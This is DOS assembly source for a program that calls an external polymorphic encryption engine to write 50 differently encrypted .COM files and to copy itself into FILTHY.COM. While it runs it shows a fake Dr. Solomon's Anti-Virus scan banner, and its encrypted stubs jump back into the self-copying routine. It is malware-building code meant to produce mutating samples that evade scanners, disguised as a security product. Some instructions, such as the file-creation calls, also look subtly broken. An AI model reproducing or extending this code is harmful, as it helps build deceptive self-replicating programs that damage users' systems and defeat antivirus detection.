                .model  tiny
                .RADIX  16

                .code

                extrn   crypt:near              ;external routines in engine
                extrn   rnd_get:near
                extrn   rnd_init:near


                org     0100


HERE_WE_GO:     LEA     DX,FILES
                MOV     AX,3C0H
                INT     21H
                XCHG    BX,AX

STUFF_IT:       MOV     AH,40H
                MOV     CX,HEAP-HERE_WE_GO
                MOV     DX,OFFSET HERE_WE_GO
                INT     21H

GO_BACK:        JMP     BEGIN

FILES           DB      'I:\ASM\F\FILTHY.COM',0


BEGIN:          call    rnd_init                ;init. random number generator

                mov     dx,offset starttxt      ;print message
                mov     ah,09
                int     21

                mov     cx,50d                  ;repeat 50 times
lop:            push    cx

                mov     ax,3c0h                   ;create a new file
                mov     dx,offset filename
                mov     cx,HEAP-here_we_go
                int     21
                xchg    ax,bx

                push    ds
                push    es
                push    bx

                mov     ax,cs                   ;input parameters for engine
                mov     ds,ax
                add     ax,0400
                mov     es,ax                   ;ES = DS + 400h
                xor     si,si                   ;code will be right after decr.
                mov     dx,offset hello         ;this will be encrtypted
                mov     cx,HEAP-HELLO           ;length of code to encrypt
                mov     bp,0100h                ;decryptor will start at 100h
                call    rnd_get                 ;AX register will be random

                call    crypt                   ;call the engine

                pop     bx                      ;write crypted file
                mov     ah,40
                int     21

                mov     ah,3E                   ;close the file
                int     21

                pop     es
                pop     ds
                
                mov     di,offset filename      ;adjust name for next file
                mov     bx,7                    ; (increment number)
incnum:         inc     byte ptr ds:[bx+di]
                cmp     byte ptr ds:[bx+di],'9'
                jbe     numok
                mov     byte ptr ds:[bx+di],'0'
                dec     bx
                jnz     incnum

numok:          pop     cx                      ;do it again...
                loop    lop

exit:           int     20


;----------------------------------------------------------------------------
;               Text and data
;----------------------------------------------------------------------------

starttxt        db     'Dr. Solomons Anti-Virus Toolkit (C) 1993                  ',0
                db     '                     ',0
                db     '        To abort scan, press ESC.                          ',0
                db     'ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ                  ',0
                db     'Scanning boot sector and partion table...',0
                db      0Dh, 0Ah, '$'

filename        db      '00000000.COM',0


;----------------------------------------------------------------------------
;               The small test file that will be encrypted
;----------------------------------------------------------------------------

hello:          call    next                    ;get relative offset
next:           pop     dx
                add     dx,10d                  ;find begin of message
                mov     ah,09                   ;print message
                INT     21H
                JMP     HERE_WE_GO
                db      'S & S International (C) 1993', 0Dh, 0A, '$'
                db      (100d) dup (90)

HEAP:
                end    HERE_WE_GO
